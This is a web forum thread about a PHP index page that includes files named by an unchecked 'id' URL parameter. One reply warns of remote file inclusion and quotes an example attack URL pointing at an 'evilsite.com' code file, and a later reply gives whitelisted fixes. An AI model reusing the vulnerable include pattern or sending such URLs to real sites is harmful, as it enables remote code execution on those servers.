|
Web design and Programming Discuss website creation and other programming topics. |
|
Thread Tools | Search this Thread | Display Modes |
#1
|
||
|
PHP Page Problem
Hi I make this script...
<? if($id) { include("$id.php"); } else { include("home.php"); } ?> On my index.php Then I make a link like <a href="index.php?id=members">Members</a> Why does it like refreshes the whole page? I want it to be on only one table. So I can keep the menu and the ads. I think I should use iframe right?
__________________
Sorry bums, now I'm back! Now I know C++! I use Microsoft Visual C++! |
#2
|
||
|
iFrame? ewww lol . Trust me, stick to refreshing the whole page. Now i'm confused though, why is it a problem for it to refresh? I may understand what you are talking about. I will post an example of how to make it work even w/ the annoying refresh.
|
#3
|
|||
|
Quote:
http://yoursite.com/index.php?id=http://www.evilsite.com/evil/evilcode.php Need to chuck some checks in there to make sure its a legit file your including... |
#4
|
|||
|
Quote:
E.g. PHP Code:
__________________
Last edited by Capers; 01-24-2006 at 11:15 AM. |
#5
|
||
|
So how can I use one? Last time I did not knew PHP and then I had to copy paste on every page I done! So?
__________________
Sorry bums, now I'm back! Now I know C++! I use Microsoft Visual C++! |
#6
|
||
|
Sorry, I'm finding it very hard to understand exactly what you are asking for many of your posts. Could you maybe be more clear?
__________________
|
#7
|
||
|
Ok nevermind sorry.
__________________
Sorry bums, now I'm back! Now I know C++! I use Microsoft Visual C++! |
#8
|
||
|
<?php
if($id == "members"){ include("members.html"); }elseif($id == "roster"){ include("roster.html"); }else{ include("home.html"); } ?> or <?php switch($id){ case members; include("members.html"); break; case roster; include("roster.php"); break; default: include("home.html"); break; } ?>
__________________
- My: Drawings, rants, raves, my cat, designs, and everything else i want to put on the net. Free Teamspeak servers: http://gamersnetwork.us/ |
Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
|
|
Similar Threads | ||||
Thread | Thread Starter | Forum | Replies | Last Post |
Uploader leaking PHP in page | brink | phphq.Net Forums | 1 | 09-29-2008 07:21 PM |
page.php?id=blablabla | NaughtyPerry | Web design and Programming | 3 | 12-22-2005 06:05 PM |
Problem logging in on home page. | HK | Tech Support | 7 | 07-01-2004 12:39 PM |
php problem | spinal | Web design and Programming | 7 | 01-27-2004 12:27 AM |
php-page | XenoMorpH | Web design and Programming | 1 | 05-03-2003 04:34 AM |